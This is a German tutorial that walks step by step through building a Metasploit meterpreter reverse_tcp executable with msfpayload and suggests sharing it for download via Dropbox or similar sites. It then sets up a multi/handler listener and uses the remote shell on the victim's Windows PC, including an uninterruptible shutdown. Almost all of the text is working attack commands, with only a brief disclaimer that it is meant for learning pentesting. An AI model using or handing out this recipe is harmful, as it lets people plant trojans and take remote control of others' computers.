Hallo zusammen und herzlich willkommen zum ersten Tutorial
über Backtrack. Falls Ihr vergessen haben solltet, was Backtrack ist, lest es
doch hier kurz nach:
In unserem ersten Tutorial geht es darum, ein Windows – PC zu
„hacken“.
Wir generieren ein .exe – File (dass aber ausser dem Exploit
nichts kann), welcher bei Ausführung uns die Möglichkeit gibt, eine Windows –
Shell auszuführen (CMD).
Schritt 1 – Vorbereitung
Wir benutzen BackTrack 5 R2 als ROOT – User und öffnen ein
Terminal. Dort erstellen wir unsere Exe – Datei mit folgender Kommandozeile:
msfpayload windows/meterpreter/reverse_tcp lhost=Die IP des eigenen PC’s lport=4444 x > ExeFile.exe
Um die IP herauszufinden, könnt ihr bei einem anderen
Terminal „ifconfig“ eingeben und unter eth0 die Adresse die nach „inet addr:“
steht eingeben.
Das dauert eine Weile, aber sobald Ihr folgendes seht, könnt
Ihr weitermachen:
Created by msfpayload (http://www.metasploit.com).Payload: windows/meterpreter/reverse_tcpLength: 290Options: {"lhost"=>"DeineIP", "lport"=>"4444"}
Um die IP herauszufinden, könnt ihr bei einem anderen
Terminal „ifconfig“ eingeben und unter eth0 die Adresse die nach „inet addr:“
steht eingeben.
Das Exe – File müsst Ihr zum Download freigeben (zB über
DropBox, uploadet.to und ähnliches).
Schritt 2 – den Exploit starten
Öffnet ein neues Terminal und gebt „msfconsole“ ein und
wartet solange bis ihr „msf >“ seht.
Jetzt müsst Ihr den Befehl „use multi/handler“ eingeben.
Ihr solltet nun ein „msf exploit(handler) >“ sehen.
Jetzt
wählen wir „unseren“ Exploit mit „set payload windows/meterpreter/reverse_tcp“
gefolgt von „set lhost DeineIP“ und „set lport 4444“(Je auf einer eigenen
Kommandozeile).
Fertig.
Um den Exploit zu starten müsst Ihr jetzt einfach „exploit
eingeben“ und nun wartet Ihr.
Geht mit einem anderem PC (Windows) und ladet eure Exe – Datei
runter. (Funktioniert auch mit einer virtuellen Maschine)
Führt sie auf eurem Windows PC aus und wartet bis ihr „meterpreter“
seht.
Schritt 3 – Den Exploit ausnutzen
Nun könnt ihr „shell“ eingeben – voila ihr seid drinnen.
Einfache Befehle:
cd C:\
notepad.exe"/"notepad
Messagebox öffnen:
Msg * " Deine Nachricht "
PC runterfahren:
shutdown -t 0 (damit keine Möglichkeit zum Abbruch besteht)
Beachtet bitte:
Funktioniert nur auf nicht gepatchte Versionen von Windows,
wenn keine Firewall aktiviert ist (oder Microsoft Security Essentials oder
ähnliches...)
Dieses Tutorial ist nicht für illegale Zwecke gedacht,
sondern um einen Einstieg im Bereich der IT – Security / PenTesting zu
erleichtern.
